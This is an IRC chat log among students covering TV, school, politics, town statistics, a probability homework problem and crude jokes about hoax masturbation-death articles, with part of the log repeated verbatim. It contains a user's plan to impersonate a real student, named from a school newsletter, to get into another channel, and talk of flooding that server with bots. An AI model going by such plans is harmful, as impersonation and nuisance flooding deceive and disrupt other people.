[2015-03-24T23:50:34-0400] <+awe> jwoglom: at least pdgn is fast, right? ;)
[2015-03-24T23:50:52-0400] <jwoglom> yup, ty for running a good network awe :)
[2015-03-24T23:51:02-0400] <+awe> you're welcome :)
[2015-03-24T23:51:03-0400] <jwoglom> if i didn't have pdgn to compare with i'd think verizon was doing weird shit
[2015-03-24T23:53:11-0400] <alokpathy> jwoglom: Lol, that happened to me, too.
[2015-03-24T23:54:08-0400] <jwoglom> alokpathy: i'm on the "tepper" freenode server, can you check which one you're connected to?
[2015-03-24T23:56:03-0400] <alokpathy> jwoglom: Yup, same.
[2015-03-24T23:56:10-0400] <jwoglom> freenode pls -_-
[2015-03-24T23:56:12-0400] <alokpathy> gg
[2015-03-24T23:56:12-0400] <jwoglom> i think it's stopped now
[2015-03-25T00:02:24-0400] <alokpathy> Tamini: London trip?
[2015-03-25T00:02:27-0400] <alokpathy> Tamini: Is that a TJ thing?
[2015-03-25T00:04:06-0400] <Tamini> uhh
[2015-03-25T00:04:11-0400] <Tamini> roman britain, yes
[2015-03-25T00:04:28-0400] <Tamini> also can we decide on how we refer to #sekritchan
[2015-03-25T00:04:31-0400] <Tamini> i thought we called it rightclub
[2015-03-25T00:04:36-0400] <Tamini> fightclub
[2015-03-25T00:04:36-0400] <Tamini> fff
[2015-03-25T00:05:04-0400] <jwoglom> yeah fightclub is the usual name
[2015-03-25T00:05:24-0400] <jwoglom> sdamashek i think just started referring to it as sekritchan in here so i just started using that
[2015-03-25T00:05:52-0400] <sdamashek> jwoglom: lol, what
[2015-03-25T00:06:06-0400] <sdamashek> my freenode lag usually is like 1 second max
[2015-03-25T00:06:06-0400] Mode is +nt
[2015-03-25T00:06:10-0400] <sdamashek> and usually none
[2015-03-25T00:06:20-0400] <jwoglom> sdamashek: it stopped happening, but it was really, really severe for a couple of minutes
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[2015-03-25T00:06:34-0400] <jwoglom> it started at the point where i kind of stopped replying to the conversation
[2015-03-25T00:06:45-0400] <alokpathy> rip apothy
[2015-03-25T00:06:46-0400] <jwoglom> ..because it took 4 minutes for me to receive the next 30 messages
[2015-03-25T00:06:48-0400] <sdamashek> jwoglom: I'm on wilhelm.freenode
[2015-03-25T00:06:56-0400] <sdamashek> you could try that server, it seems to be really stable
[2015-03-25T00:06:59-0400] <jwoglom> i'm on tepper
[2015-03-25T00:07:04-0400] <jwoglom> don't feel like reconnecting
[2015-03-25T00:07:05-0400] <+awe> sdamashek: hehe, it's funny because wilhelm was used in Archer as another phrase for penis.
[2015-03-25T00:07:09-0400] <alokpathy> I mean, Tepper's fine now.
[2015-03-25T00:07:10-0400] <sdamashek> jwoglom: heh ok
[2015-03-25T00:07:18-0400] <sdamashek> awe: I see...
[2015-03-25T00:07:20-0400] <Tamini> you missed a lot of stuff
[2015-03-25T00:07:23-0400] <Tamini> okay um
[2015-03-25T00:07:23-0400] <Tamini> also
[2015-03-25T00:07:34-0400] <Tamini> am i drunk or did claudia agree with everything i said then immediately take the opposite stance
[2015-03-25T00:07:49-0400] <+awe> You're drunk.
[2015-03-25T00:07:54-0400] <+awe> It was the four shots of whiskey that did it.
[2015-03-25T00:08:04-0400] <alokpathy> ^
[2015-03-25T00:08:53-0400] <jwoglom> Tamini: i think her opinions have slightly changed since the argument began
[2015-03-25T00:09:02-0400] <jwoglom> i kind of got lost somewhere in the middle of it
[2015-03-25T00:09:07-0400] <sdamashek> yeah I'm not sure
[2015-03-25T00:09:11-0400] <jwoglom> around when freenode started acting up
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[2015-03-25T00:09:23-0400] <sdamashek> I have a math test today though
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[2015-03-25T00:12:46-0400] <LittleBobbyTables> I l ike how I've gotten no reason to me being banned yet.
[2015-03-25T00:13:44-0400] <Tamini> sdamashek: go to sleep dude
[2015-03-25T00:13:52-0400] <Tamini> sleep makes math easier trust me
[2015-03-25T00:14:00-0400] <sdamashek> yeahhhhhhh
[2015-03-25T00:14:22-0400] <alokpathy> sdamashek: You should either
[2015-03-25T00:14:31-0400] <sdamashek> I should either?
[2015-03-25T00:14:31-0400] <alokpathy> get a decent amount of sleep
[2015-03-25T00:14:34-0400] <sdamashek> oh
[2015-03-25T00:14:36-0400] <alokpathy> or get no sleep at all
[2015-03-25T00:14:40-0400] <sdamashek> lel
[2015-03-25T00:14:43-0400] <alokpathy> Take your pick :P
[2015-03-25T00:14:43-0400] <Tamini> go to bed.
[2015-03-25T00:14:44-0400] <Tamini> nao.
[2015-03-25T00:14:48-0400] <sdamashek> I've never pulled an all nighter for school
[2015-03-25T00:14:49-0400] <sdamashek> yet
[2015-03-25T00:14:55-0400] <Tamini> i'm staying up to watch community and play video games although I have no work
[2015-03-25T00:14:56-0400] <Tamini> what do
[2015-03-25T00:15:06-0400] <Tamini> also I should totally finish my AI lab but I really don't want to ugh STEUBEN WHY
[2015-03-25T00:15:06-0400] <alokpathy> sdamashek: There's always a time for firsts :P
[2015-03-25T00:15:07-0400] <sdamashek> have you watched parks and rec
[2015-03-25T00:15:11-0400] <sdamashek> alokpathy: mhm
[2015-03-25T00:15:13-0400] <Tamini> sdamashek: I need to!
[2015-03-25T00:15:20-0400] <sdamashek> Tamini: damn right you do
[2015-03-25T00:15:20-0400] <Tamini> but Community is like a thing that Matt+I do
[2015-03-25T00:15:29-0400] <Tamini> wait should i download parks & rec
[2015-03-25T00:15:31-0400] <Tamini> and watch on plane
[2015-03-25T00:15:37-0400] <sdamashek> yes
[2015-03-25T00:15:40-0400] <sdamashek> you should
[2015-03-25T00:15:44-0400] <alokpathy> Oh right
[2015-03-25T00:15:46-0400] <alokpathy> wat do on plane
[2015-03-25T00:15:51-0400] <sdamashek> that's not a bad idea actually
[2015-03-25T00:15:53-0400] <sdamashek> I should like
[2015-03-25T00:15:55-0400] <Tamini> im watching parks & rec
[2015-03-25T00:15:59-0400] <sdamashek> bring my backup hard drive with Community on it
[2015-03-25T00:15:59-0400] <alokpathy> and wat do at SFO
[2015-03-25T00:16:00-0400] <Tamini> i wanted to download x+y
[2015-03-25T00:16:04-0400] <alokpathy> wat do for 28 hours straight basically .-.
[2015-03-25T00:16:07-0400] <Tamini> sdamashek: wait how far are you right now
[2015-03-25T00:16:09-0400] <LittleBobbyTables> fap
[2015-03-25T00:16:13-0400] <sdamashek> Tamini: I haven't started
[2015-03-25T00:16:17-0400] <Tamini> LittleBobbyTables: i think if you fap for 28 hours you might die
[2015-03-25T00:16:20-0400] <sdamashek> or some show
[2015-03-25T00:16:22-0400] <Tamini> but im not the expert here
[2015-03-25T00:16:25-0400] <Tamini> sdamashek: do eeet
[2015-03-25T00:16:28-0400] <sdamashek> Tamini: there was somebody who tried that
[2015-03-25T00:16:29-0400] <LittleBobbyTables> Not really
[2015-03-25T00:16:29-0400] <Tamini> catch up to season 6
[2015-03-25T00:16:32-0400] <alokpathy> Tamini: We could ask Claudia.
[2015-03-25T00:16:39-0400] <Tamini> you can join me and mattmatt on our watching sprees
[2015-03-25T00:16:41-0400] <sdamashek> Tamini: http://huzlers.com/valentines-day-tragedy-teen-masturbated-56-times-straight-dying-heart-attack/
[2015-03-25T00:16:41-0400] <+awe> sdamashek: I've "pulled all-nighters for school" because I chose to watch a movie or play a game before doing work.
[2015-03-25T00:16:42-0400] <alokpathy> Tamini: She seems to know her sex-ed.
[2015-03-25T00:16:50-0400] <jwoglom> sdamashek: O_o
[2015-03-25T00:16:58-0400] <sdamashek> alokpathy: lol
[2015-03-25T00:17:00-0400] <sdamashek> jwoglom: ikr
[2015-03-25T00:17:05-0400] <sdamashek> that picture too
[2015-03-25T00:17:07-0400] <Tamini> damn
[2015-03-25T00:17:10-0400] <Tamini> LOL
[2015-03-25T00:17:16-0400] <jwoglom> how did they get the 56 number though
[2015-03-25T00:17:18-0400] <Tamini> I'm pretty sure we had a 3am mafia game at ROSS once
[2015-03-25T00:17:24-0400] <sdamashek> jwoglom: good question
[2015-03-25T00:17:28-0400] <Tamini> and one of the stories involved a guy masturbating to death
[2015-03-25T00:17:30-0400] <jwoglom> and that site is some serious blogspam
[2015-03-25T00:17:31-0400] <Tamini> so common theme, it seems.
[2015-03-25T00:17:38-0400] <jwoglom> i wouldn't trust it
[2015-03-25T00:17:39-0400] <sdamashek> wait WHAT
[2015-03-25T00:17:41-0400] <sdamashek> "“The young man was on his bed… his pen*s was detached from his body, it must have been so intense it just came off his body, we found his pen*s gripped in his left hand so tightly we couldn’t get it out, it was tragic”.
[2015-03-25T00:17:49-0400] <sdamashek> um
[2015-03-25T00:17:49-0400] <Tamini> the fuck
[2015-03-25T00:17:56-0400] <alokpathy> wat
[2015-03-25T00:17:57-0400] <sdamashek> I don't think that happens
[2015-03-25T00:17:59-0400] <Tamini> is this kid like
[2015-03-25T00:18:01-0400] <Tamini> fucking spiderman
[2015-03-25T00:18:04-0400] <+awe> You know it's fake because they wrote pen*s.
[2015-03-25T00:18:05-0400] <jwoglom> that's, um
[2015-03-25T00:18:38-0400] <+awe> Also, what does masturbating 56 times mean?
[2015-03-25T00:18:42-0400] <+awe> As in, ejaculating 56 times?
[2015-03-25T00:18:45-0400] <sdamashek> I would assume so
[2015-03-25T00:18:48-0400] <jwoglom> i think that's what it implies
[2015-03-25T00:18:55-0400] <+awe> Because I assure you, after two or three, you'll just start ripping your skin and you'll stop ejaculating entirely.
[2015-03-25T00:18:57-0400] <sdamashek> http://www.atlnightspots.com/boy-dies-after-masturbating-42-times/
[2015-03-25T00:19:17-0400] <LittleBobbyTables> Yeah but see
[2015-03-25T00:19:21-0400] <sdamashek> LOL http://geekologie.com/2014/09/medical-student-masturbates-to-death-at.php
[2015-03-25T00:19:23-0400] <LittleBobbyTables> That's masturbating that many times.
[2015-03-25T00:19:25-0400] <sdamashek> "Medical Student Masturbates To Death At Sperm Bank"
[2015-03-25T00:19:31-0400] <LittleBobbyTables> The thing is
[2015-03-25T00:19:37-0400] <LittleBobbyTables> You can just fap for 28 hours
[2015-03-25T00:19:46-0400] <LittleBobbyTables> if you take breaks in between, you'll be fine
[2015-03-25T00:19:49-0400] <jwoglom> i don't think your body can actually produce usable sperm after that point
[2015-03-25T00:19:52-0400] <LittleBobbyTables> Sure, it might be painful at the end
[2015-03-25T00:20:06-0400] <+awe> LittleBobbyTables: After the forth or fifth time, even with breaks, it'll hurt like a bitch.
[2015-03-25T00:20:13-0400] <+awe> I apologize for swearing, hardmath123.
[2015-03-25T00:20:23-0400] <+awe> I think it needed to be said to emphasize how much pain you'd be in.
[2015-03-25T00:20:24-0400] <LittleBobbyTables> Nah see, you don't have to ejaculate.
[2015-03-25T00:20:33-0400] <LittleBobbyTables> Take breaks during the sessions
[2015-03-25T00:20:37-0400] <+awe> Your skin will start to rip. Seriously.
[2015-03-25T00:20:42-0400] <LittleBobbyTables> nah man
[2015-03-25T00:20:43-0400] <jwoglom> then at what point do you consider a separate masturbation attempt to occur?
[2015-03-25T00:20:53-0400] <sdamashek> jwoglom asking the important questions here
[2015-03-25T00:20:58-0400] <LittleBobbyTables> ejaculate==masturbate session
[2015-03-25T00:21:06-0400] <LittleBobbyTables> You can have multiple sessions in one setting
[2015-03-25T00:21:09-0400] <LittleBobbyTables> sitting
[2015-03-25T00:21:32-0400] <jwoglom> sdamashek: it's science, man.
[2015-03-25T00:22:43-0400] <+awe> Let's not continue talking about this.
[2015-03-25T00:23:19-0400] <jwoglom> well then suggest something else to discuss :P
[2015-03-25T00:23:23-0400] <LittleBobbyTables> Sex
[2015-03-25T00:23:53-0400] <Tamini> i honestly have no idea
[2015-03-25T00:23:56-0400] <Tamini> what my stance on sex is
[2015-03-25T00:23:57-0400] <Tamini> .-.
[2015-03-25T00:24:11-0400] <alokpathy> I believe sex exists.
[2015-03-25T00:24:18-0400] <alokpathy> Idk about you guys.
[2015-03-25T00:24:23-0400] <jwoglom> i agree, alokpathy 
[2015-03-25T00:24:30-0400] <LittleBobbyTables> I don't know man.
[2015-03-25T00:24:30-0400] <+awe> I am pro-sex.
[2015-03-25T00:24:43-0400] <LittleBobbyTables> Some people I've met make me belief sex doesn't exist
[2015-03-25T00:24:58-0400] <sdamashek> I mean, why would you not be pro-sex
[2015-03-25T00:25:09-0400] • awe: points at most conservatives.
[2015-03-25T00:25:11-0400] <LittleBobbyTables> Because your name is Claudia
[2015-03-25T00:25:17-0400] <sdamashek> tru
[2015-03-25T00:25:19-0400] <jwoglom> awe: that's a bit of a generalization :P
[2015-03-25T00:25:24-0400] <+awe> jwoglom: I said most.
[2015-03-25T00:25:34-0400] <alokpathy> Like, Stephen O'Reilly
[2015-03-25T00:25:35-0400] <+awe> jwoglom: It's not unacceptable to make a generalization that you describe explicitly as being a generalization.
[2015-03-25T00:25:37-0400] <sdamashek> Anyways, I would love to continue talking about this topic, but I should sleep
[2015-03-25T00:25:40-0400] <jwoglom> i mean, you hear about those with the most extreme views
[2015-03-25T00:25:44-0400] <Tamini> sdamashek: gnight, kid
[2015-03-25T00:25:49-0400] <jwoglom> awe: true
[2015-03-25T00:25:51-0400] <alokpathy> sdamashek: G'night
[2015-03-25T00:25:51-0400] <Tamini> do well on your test tomorrow.
[2015-03-25T00:25:56-0400] <sdamashek> Tamini: shut up, I'm a junior now
[2015-03-25T00:25:57-0400] <jwoglom> night sdamashek 
[2015-03-25T00:25:57-0400] <alokpathy> sdamashek: Get dat 100
[2015-03-25T00:26:02-0400] <+awe> jwoglom: If it helps, I meant specifically social conservatives.
[2015-03-25T00:26:07-0400] <sdamashek> thanks, night all
[2015-03-25T00:26:09-0400] <jwoglom> sdamashek: you're still a freshman, silly
[2015-03-25T00:26:11-0400] <+awe> jwoglom: Where being anti-sex is actually a pivotal aspect of their position.
[2015-03-25T00:26:14-0400] <+awe> Good night, sdamashek!
[2015-03-25T00:26:18-0400] <jwoglom> awe: ok
[2015-03-25T00:26:20-0400] <jwoglom> point
[2015-03-25T00:28:26-0400] <Tamini> sdamashek: bye kid :P
[2015-03-25T00:28:50-0400] <alokpathy> I should probably head off to bed too.
[2015-03-25T00:28:53-0400] <sdamashek> jwoglom: >_>
[2015-03-25T00:28:56-0400] • alokpathy: heads off to bed.
[2015-03-25T00:29:00-0400] <alokpathy> G'night.
[2015-03-25T00:29:03-0400] <+awe> Wow.
[2015-03-25T00:29:04-0400] <+awe> Okay.
[2015-03-25T00:29:05-0400] <+awe> Good night.
[2015-03-25T00:29:30-0400] <jwoglom> less multi-line good night messages, more discussion! :P
[2015-03-25T00:29:30-0400] <alokpathy> awe: Are you disappoint? :P
[2015-03-25T00:29:34-0400] <+awe> Yes
[2015-03-25T00:29:37-0400] <alokpathy> porque
[2015-03-25T00:29:46-0400] <+awe> I wanted more discussion.
[2015-03-25T00:29:57-0400] <+awe> Oh, this is good.
[2015-03-25T00:30:05-0400] <+awe> Ted Cruz stopped listening to rock music after 9/11.
[2015-03-25T00:30:22-0400] <Tamini> heh
[2015-03-25T00:30:22-0400] <jwoglom> O_o
[2015-03-25T00:30:24-0400] <jwoglom> that guy
[2015-03-25T00:30:27-0400] <Tamini> well, i'll go to sleep too
[2015-03-25T00:30:35-0400] <Tamini> apparently only one epiode of community, how tragic.
[2015-03-25T00:30:37-0400] <jwoglom> fun fact, his campaign doesn't own tedcruz.com
[2015-03-25T00:30:42-0400] <alokpathy> Omg yeah
[2015-03-25T00:30:45-0400] <alokpathy> I saw that
[2015-03-25T00:30:47-0400] <+awe> Hah!
[2015-03-25T00:30:49-0400] <+awe> That's amazing.
[2015-03-25T00:31:00-0400] <jwoglom> that's going to be a bit of a problem
[2015-03-25T00:31:07-0400] <jwoglom> considering i don't think the owners would want to give it up, ever
[2015-03-25T00:32:22-0400] <+awe> Wow. I didn't know the Kennedy's were from McLean.
[2015-03-25T00:33:21-0400] <jwoglom> well, a lot of politicians are from the DC area
[2015-03-25T00:34:17-0400] <+awe> Right, and it makes sense that they'd be from the ultra-wealthy areas.
[2015-03-25T00:34:35-0400] <jwoglom> most of NoVA is pretty wealthy
[2015-03-25T00:34:49-0400] <jwoglom> the geographic boundaries of mclean just happen to include one of the larger ultra rich areas
[2015-03-25T00:35:31-0400] <bob_twinkles> in lighter questions, does anyone happen to know of/happen to have an integer math implementation of perlin noise?
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[2015-03-25T01:06:16-0400] <LittleBobbyTables> Ted Cruz's SEO team is fucking amazing
[2015-03-25T01:14:55-0400] <+awe> "None of the families and 1.5% of the population were living below the poverty line, including no under eighteens and 5.3% of those over 64."
[2015-03-25T01:14:58-0400] <+awe> The town in which I lived, everybody.
[2015-03-25T01:15:22-0400] <+awe> Absolutely no families nor children living below the poverty line.
[2015-03-25T01:16:23-0400] <LittleBobbyTables> Mine is probably like "about 30% of the people here are white enough to get a job"
[2015-03-25T01:16:57-0400] <+awe>  74.81% (1,844) White
[2015-03-25T01:17:04-0400] <+awe> 18.62% (459) Asian
[2015-03-25T01:17:15-0400] <LittleBobbyTables> Is that yours?
[2015-03-25T01:17:45-0400] <+awe> Yeah.
[2015-03-25T01:17:49-0400] <+awe> That's only the CDP though.
[2015-03-25T01:17:58-0400] <+awe> The township in general is different.
[2015-03-25T01:17:58-0400] <LittleBobbyTables> You live in a town with sub 3k people?
[2015-03-25T01:18:07-0400] <+awe> Census-designated place, yeah.
[2015-03-25T01:18:17-0400] <+awe> It's a subregion of West Windsor.
[2015-03-25T01:18:25-0400] <+awe> Which has 27,165 people.
[2015-03-25T01:18:36-0400] <+awe> 54.94% (14,924) White
[2015-03-25T01:18:40-0400] <+awe> 37.71% (10,245) Asian
[2015-03-25T01:19:26-0400] <LittleBobbyTables> 52,413 people lived in mine in 2013.
[2015-03-25T01:19:54-0400] <LittleBobbyTables> 87% of those people were white.
[2015-03-25T01:20:05-0400] <LittleBobbyTables> Were, not are.
[2015-03-25T01:20:12-0400] <+awe> Now I live in a city of 62,298.
[2015-03-25T01:20:38-0400] <+awe> which is 30.6% White, 39.3% Black, and 32.0% Hispanic.
[2015-03-25T01:21:25-0400] <LittleBobbyTables> West XX was founded by dissatisfied residents of XX, who wished to be home owners rather than renters of government-owned houses, after the arrival of government projects.
[2015-03-25T01:22:18-0400] • awe: doesn't think of the Northwest when he thinks of housing projects.
[2015-03-25T01:22:35-0400] <LittleBobbyTables> whoa whoa whoa
[2015-03-25T01:22:42-0400] <LittleBobbyTables> You can see the Northern Lights from here1?
[2015-03-25T01:23:48-0400] <+awe> Jesus. We're >4x the median income.
[2015-03-25T01:24:27-0400] <+awe> And since we only have one household earner, my dad is like 7x the per capita income.
[2015-03-25T01:25:39-0400] <LittleBobbyTables> http://imgur.com/JcBd4OP
[2015-03-25T01:25:43-0400] <LittleBobbyTables> This place is lots of fun.
[2015-03-25T01:27:09-0400] <LittleBobbyTables> What's the median income, awe?
[2015-03-25T01:27:19-0400] <+awe> Roughly the national average.
[2015-03-25T01:27:31-0400] <LittleBobbyTables> Yes, but what is it :P
[2015-03-25T01:27:34-0400] <+awe> ~45k.
[2015-03-25T01:27:41-0400] <LittleBobbyTables> Hm.
[2015-03-25T01:27:43-0400] <+awe> Well, there it's 40k.
[2015-03-25T01:27:48-0400] <nezorg> [22:25] (LittleBobbyTables) 01:06:16> Ted Cruz's SEO team is fucking amazing
[2015-03-25T01:27:52-0400] <nezorg> how so?
[2015-03-25T01:28:25-0400] <LittleBobbyTables> You can find nothing bad about him at all unless you know something
[2015-03-25T01:28:45-0400] <LittleBobbyTables> Like, just googling "ted cruz", you only get glorious results, and suggestions like "is awesome" "is canadian"
[2015-03-25T01:29:05-0400] <LittleBobbyTables> awe: women here make 10k less than the average. Men make 40k more than the average
[2015-03-25T01:29:06-0400] <LittleBobbyTables> Who knew
[2015-03-25T01:29:31-0400] <+awe> LittleBobbyTables: is canadian is pretty bad for a presidential candidate.
[2015-03-25T01:29:37-0400] <LittleBobbyTables> shh
[2015-03-25T01:30:27-0400] <LittleBobbyTables> Some celebrities, you get things they did bad or wrong.
[2015-03-25T01:32:54-0400] <LittleBobbyTables> Hmm.
[2015-03-25T01:33:01-0400] <LittleBobbyTables> Hope Solo used to apparently live close by.
[2015-03-25T01:33:33-0400] <LittleBobbyTables> Same with Chuck Palahniuk
[2015-03-25T01:45:34-0400] <grantwu> Holy crap
[2015-03-25T01:45:49-0400] <grantwu> I just realized http://hardmath123.github.io/ is hardmath123's website
[2015-03-25T01:46:03-0400] <grantwu> http://hardmath123.github.io/xkcd-random.html was posted to the 15-251 piazza
[2015-03-25T01:55:16-0400] <grantwu> The hell did I miss in chat?
[2015-03-25T01:55:58-0400] <LittleBobbyTables> ?
[2015-03-25T01:56:59-0400] <grantwu> Conversation took a strange detour
[2015-03-25T01:57:20-0400] <grantwu> What was with the copy paste of previous chat
[2015-03-25T01:57:52-0400] <bob_twinkles> ping ALL the people 
[2015-03-25T01:57:54-0400] <bob_twinkles> or something
[2015-03-25T01:58:00-0400] <grantwu> Weird.
[2015-03-25T01:59:00-0400] <LittleBobbyTables> Oh, that one
[2015-03-25T02:00:25-0400] <grantwu> http://hardmath123.github.io/hackathons-vs-ctfs.html interesting, but "a sequence of problems" quickly turns into class
[2015-03-25T02:00:41-0400] <grantwu> I already have plenty of cleverly designed sequences of problems
[2015-03-25T02:00:57-0400] <grantwu> What I need is a break.  For some people, hackathons are a break; for me, they're stressful...
[2015-03-25T02:09:56-0400] <grantwu> hardmath123 y u write so gud article
[2015-03-25T02:14:17-0400] <grantwu> Also: probability is hard.
[2015-03-25T02:14:34-0400] <bob_twinkles> you run out of letters real quick
[2015-03-25T02:14:39-0400] <bob_twinkles> it's a pain
[2015-03-25T02:15:16-0400] <grantwu> (Although I think you got everything right, hardmath123, modulo pedantry, and I'm not a probability expert anyways)
[2015-03-25T02:15:37-0400] <grantwu> Leon has a certain piece of randomized code called Word. It always
[2015-03-25T02:15:39-0400] <grantwu> outputs a long string made up of the 26 Latin letters. Other than that, you know nothing
[2015-03-25T02:15:41-0400] <grantwu> about it. Leon repeatedly (independently) executes Word, producing a list of strings S1,
[2015-03-25T02:15:43-0400] <grantwu> S2, S3, . . . . He stops once his list is no longer in alphabetical order. (An example run:
[2015-03-25T02:15:45-0400] <grantwu> BOLBBQHAC, LBYPNHA, LEFJDPB, MEYQK, JYEGNGHVHPS, at which point Leonhard stops.)
[2015-03-25T02:15:47-0400] <grantwu> Show that the expected number of words Leonhard generates is e. You might want to use
[2015-03-25T02:15:49-0400] <grantwu> one of the two popular definitions of e, namely e = limn→∞(1 + 1/n)
[2015-03-25T02:15:51-0400] <grantwu> n or e =
[2015-03-25T02:15:53-0400] <grantwu> P∞
[2015-03-25T02:15:55-0400] <grantwu> n=0 1/n!.
[2015-03-25T02:15:57-0400] <grantwu> (NOTE: You may assume that by magic, Word never outputs the exact same word twice.
[2015-03-25T02:15:59-0400] <grantwu> Or if you don’t like magic, solve the problem conditioned on the event that Word does not
[2015-03-25T02:16:01-0400] <grantwu> output any identical words.)
[2015-03-25T02:16:03-0400] <grantwu> (from my homework; I've already solved this.  HAVE FUN YINZ)
[2015-03-25T02:22:25-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=zmpKBAXuVjg
[2015-03-25T02:23:08-0400] <grantwu> Is that you
[2015-03-25T02:23:18-0400] <grantwu> Wait no
[2015-03-25T02:23:28-0400] <grantwu> That's over 2 years ago
[2015-03-25T02:23:30-0400] <grantwu> hrmm iidk
[2015-03-25T02:23:54-0400] <LittleBobbyTables> Yes, because I'm black.
[2015-03-25T02:24:13-0400] <grantwu> Not sure if srs
[2015-03-25T02:24:29-0400] <LittleBobbyTables> Good luck with figuring it out.
[2015-03-25T02:24:47-0400] <grantwu> too hard
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[2015-03-25T07:22:48-0400] <JacobEdelman> so, i was reading through your chats from last night
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[2015-03-25T07:23:29-0400] <JacobEdelman> first I see awe reccomending someone buy 25 ft of rope, a tire jack, and some condoms
[2015-03-25T07:23:45-0400] <JacobEdelman> its weird, but you know, awe is strange, so i keep reading back
[2015-03-25T07:24:10-0400] <JacobEdelman> I then see a conversation about how to get condoms
[2015-03-25T07:24:18-0400] <JacobEdelman> then I see tamini asking alok to bring condoms to korea
[2015-03-25T07:24:26-0400] <JacobEdelman> you guys are strange................
[2015-03-25T07:24:29-0400] <JacobEdelman> all of you
[2015-03-25T07:24:33-0400] <JacobEdelman> especially the tj ones
[2015-03-25T07:28:28-0400] <sdamashek> it was a pretty civil conversation
[2015-03-25T07:47:06-0400] <JacobEdelman> I never said being strange was a bad thing
[2015-03-25T07:47:33-0400] <JacobEdelman> also, I have now joined #tjhsst, just to lurk and see what yall get up too and if its really as bad as you all say
[2015-03-25T07:57:48-0400] <jwoglom> your join will probably get lost with the rest of them
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[2015-03-25T07:58:06-0400] <jwoglom> but typically the alums in our channel aren't too nice to visitors :P
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[2015-03-25T08:06:17-0400] <JacobEdelman> I'l just claim I'm a tj student
[2015-03-25T08:06:22-0400] <JacobEdelman> *I'll
[2015-03-25T08:06:29-0400] <JacobEdelman> :P
[2015-03-25T08:06:51-0400] <jwoglom> they'll ask your for a name and look you up
[2015-03-25T08:20:37-0400] <JacobEdelman> jwoglom: I just stalked your schools news letter and chose a random name " Eduard Danalache"
[2015-03-25T08:20:39-0400] <JacobEdelman> will that do?
[2015-03-25T08:20:45-0400] <JacobEdelman> or do any of you guys know him...
[2015-03-25T08:21:16-0400] <JacobEdelman> or I'll just tell them I'm actually woggles
[2015-03-25T08:21:32-0400] <JacobEdelman> they won't believe me but they will probabbly believe i at least go to tj and know you
[2015-03-25T08:21:55-0400] <jwoglom> yeah you can do that just spell his name right :P
[2015-03-25T08:22:40-0400] <JacobEdelman> copy and paste for the win
[2015-03-25T09:32:33-0400] <+awe> JacobEdelman: I chose an old sysadmin because it was easy to get a name, but I realized it was shadier than a student who's more benign.
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[2015-03-25T11:09:39-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T07:23:29-0400] <JacobEdelman> first I see awe reccomending someone buy 25 ft of rope, a tire jack, and some condoms
[2015-03-25T07:23:45-0400] <JacobEdelman> its weird, but you know, awe is strange, so i keep reading back
[2015-03-25T07:24:10-0400] <JacobEdelman> I then see a conversation about how to get condoms
[2015-03-25T07:24:18-0400] <JacobEdelman> then I see tamini asking alok to bring condoms to korea
[2015-03-25T07:24:26-0400] <JacobEdelman> you guys are strange................
[2015-03-25T07:24:29-0400] <JacobEdelman> all of you
[2015-03-25T07:24:33-0400] <JacobEdelman> especially the tj ones
[2015-03-25T07:28:28-0400] <sdamashek> it was a pretty civil conversation
[2015-03-25T07:47:06-0400] <JacobEdelman> I never said being strange was a bad thing
[2015-03-25T07:47:33-0400] <JacobEdelman> also, I have now joined #tjhsst, just to lurk and see what yall get up too and if its really as bad as you all say
[2015-03-25T07:57:48-0400] <jwoglom> your join will probably get lost with the rest of them
[2015-03-25T07:58:06-0400] <jwoglom> but typically the alums in our channel aren't too nice to visitors :P
[2015-03-25T08:06:17-0400] <JacobEdelman> I'l just claim I'm a tj student
[2015-03-25T08:06:22-0400] <JacobEdelman> *I'll
[2015-03-25T08:06:29-0400] <JacobEdelman> :P
[2015-03-25T08:06:51-0400] <jwoglom> they'll ask your for a name and look you up
[2015-03-25T08:20:37-0400] <JacobEdelman> jwoglom: I just stalked your schools news letter and chose a random name " Eduard Danalache"
[2015-03-25T08:20:39-0400] <JacobEdelman> will that do?
[2015-03-25T08:20:45-0400] <JacobEdelman> or do any of you guys know him...
[2015-03-25T08:21:16-0400] <JacobEdelman> or I'll just tell them I'm actually woggles
[2015-03-25T08:21:32-0400] <JacobEdelman> they won't believe me but they will probabbly believe i at least go to tj and know you
[2015-03-25T08:21:55-0400] <jwoglom> yeah you can do that just spell his name right :P
[2015-03-25T08:22:40-0400] <JacobEdelman> copy and paste for the win
[2015-03-25T09:32:33-0400] <+awe> JacobEdelman: I chose an old sysadmin because it was easy to get a name, but I realized it was shadier than a student who's more benign.
[2015-03-25T10:18:57-0400] <JacobEdelman> jwoglom: wait...
[2015-03-25T10:19:08-0400] <JacobEdelman> why was I just kicked?
[2015-03-25T10:19:13-0400] <JacobEdelman> and banned?
[2015-03-25T10:19:19-0400] <jwoglom> (Shrug)
[2015-03-25T10:19:32-0400] <JacobEdelman> I had a fake name prepped and everythin!
[2015-03-25T10:19:34-0400] <JacobEdelman> *everything
[2015-03-25T10:19:51-0400] <jwoglom> Probably because you hadn't said anything
[2015-03-25T10:19:56-0400] <jwoglom> And seemed suspicious? Idk
[2015-03-25T10:20:03-0400] <JacobEdelman> ...
[2015-03-25T10:20:05-0400] <JacobEdelman> how?
[2015-03-25T10:20:27-0400] <JacobEdelman> you mind if I impersonate you?
[2015-03-25T10:20:54-0400] <JacobEdelman> is your jwoglomvps account on that server?
[2015-03-25T10:21:16-0400] <JacobEdelman> well anyway, who cares
[2015-03-25T10:21:31-0400] <JacobEdelman> I saw enough to conclude that youre not nearly as cool as pdgn
[2015-03-25T10:21:31-0400] <JacobEdelman> :P
[2015-03-25T10:29:33-0400] <hardmath123> grantwu: neat.
[2015-03-25T10:46:49-0400] <JacobEdelman> hardmath123: did you see my response on github?
[2015-03-25T10:47:05-0400] <JacobEdelman> finding out whether a grammar is ambiguous is not computable
[2015-03-25T10:47:17-0400] <JacobEdelman> what I may be able to do is make some heuristics to do it
[2015-03-25T10:55:25-0400] <LittleBobbyTables> I still never got a reason for me being banned from there.
[2015-03-25T10:55:30-0400] <LittleBobbyTables> I was productive towards the chat
[2015-03-25T10:57:18-0400] <jwoglom> JacobEdelman: well it's a different type of channel
[2015-03-25T10:57:28-0400] <jwoglom> Its gotten to be mostly drama nowadays anyways
[2015-03-25T11:03:23-0400] <LittleBobbyTables> I should load up two instances of heibot and put that in the server...
[2015-03-25T11:03:28-0400] <LittleBobbyTables> That'll piss them off
[2015-03-25T11:04:57-0400] <jwoglom> Indeed it will
[2015-03-25T11:09:41-0400] Mode is +nt
